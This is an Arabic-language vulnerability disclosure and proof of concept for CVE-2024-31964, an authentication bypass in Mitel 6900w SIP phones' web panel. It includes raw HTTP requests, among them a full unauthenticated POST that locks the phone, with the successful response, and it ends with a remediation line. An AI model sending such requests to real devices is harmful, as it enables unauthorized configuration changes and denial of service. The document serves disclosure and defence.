
استغلال إثبات مفهوم لـ CVE-2024-31964، تجاوز مصادقة مؤقت في هواتف Mitel 6900w Series SIP يسمح بطلبات POST غير مصادق عليها لتعديل تكوين الجهاز وتنفيذ رفض الخدمة.
CVE-2024-31964 PoC: هاتف Mitel 6900w سلسلة SIP - تجاوز المصادقة المؤقت
تتكون من ثغرة تجاوز المصادقة المؤقتة في لوحة موقع الإدارة HTTP للعديد من منتجات Mitel.
تسمح للمهاجم بتعديل تكوين الجهاز وتنفيذ هجمات رفض الخدمة ضد الجهاز المتأثر.
يجب أن يكون مستخدم قد سجل الدخول بنجاح قبل دقائق، ومن نفس عنوان IP المصدر للمهاجم.
CVSS المقترح:
التنبيه: Mitel Product Security Advisory 24-0007
تم العثور على هذه CVE أثناء تدقيق 3 هواتف SIP بالخصائص التالية (تم اختبار هذه CVE بنجاح ضد نماذج الأجهزة الثلاثة هذه):
وفقًا لتنبيه Mitel، فإنه يؤثر على المزيد من المنتجات، لكن لم يكن لدي إمكانية الوصول إلى أي منها للتحقق من ذلك.
بشكل عام، للوصول إلى أي مورد في لوحة الويب للتحكم/الإدارة من Mitel، من الضروري إجراء طلبات مع رأس "Authorization"، الذي يحدد بيانات اعتماد المستخدم الذي يحاول الوصول.
مثال على طلب موثق:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
في حالة عدم تعيين هذا الرأس، نحصل على خطأ "Unauthorized"، ويُطلب منا المصادقة، مما يتطلب بيانات الاعتماد.
طلب GET غير موثق:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
الاستجابة:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
ومع ذلك، اتضح أنه يمكن إجراء جميع طلبات POST من التطبيق دون تعيين رأس Authorization، أي كمستخدم غير موثق، بشرط أن يكون مستخدم شرعي قد سجل الدخول مسبقًا من نفس عنوان IP المصدر للمهاجم، ولفترة زمنية محدودة (تم قياس أن النافذة الزمنية حوالي 8 دقائق). أي إذا قام مستخدم شرعي بتسجيل الدخول إلى موقع إدارة الجهاز، فهناك نافذة زمنية تبلغ حوالي 8 دقائق يمكن خلالها للمهاجم الذي لديه نفس IP للمستخدم المسجل الدخول إجراء طلبات POST غير موثقة، دون الحاجة إلى معرفة بيانات الاعتماد. الثغرة مقيدة إلى حد كبير بسبب اشتراط مشاركة IP مع مستخدم شرعي، ولكن في الحالات التي يتم فيها مشاركة جهاز كمبيوتر، أو الوصول إلى أجهزة الكمبيوتر من خلال نفس خادم الوكيل، فإن احتمالات الاستغلال ستكون أعلى.
من خلال طلبات POST، يمكن تغيير كلمات مرور المستخدمين (يتطلب معرفة مسبقة بكلمة المرور)، قفل/فتح الجهاز، إعادة تعيين الجهاز، تحميل ملفات CSV لجهات الاتصال، تكوين خادم التكوين، إلخ.
على سبيل المثال، إذا حاولنا قفل الجهاز بدون رأس Authorization، نرى أن الجهاز محظور بشكل فعال، مما يحرم المستخدم من الخدمة، ويمكننا أيضًا إعادة تشغيل الهاتف، مما يحرم الخدمة بشكل مؤقت تمامًا. كواختبار سريع، قمنا أيضًا بتعديل مفاتيح الاتصال السريع وخادم التكوين بشكل فعال.
مثال على طلب قفل الهاتف غير الموثق:

POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
استجابة ناجحة غير موثقة:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
بالإضافة إلى ذلك، يمكننا طلب إعادة تعيين الجهاز:

واستخدام ping للتحقق من فقدان الاتصال المؤقت:

يمكننا تغيير معظم المعلمات... على سبيل المثال، خادم FTP:

يجب دائمًا طلب والتحقق من صحة رأس Authorization، و/أو إدارة الجلسة باستخدام ملفات تعريف الارتباط (cookies) وليس عناوين IP المصدر.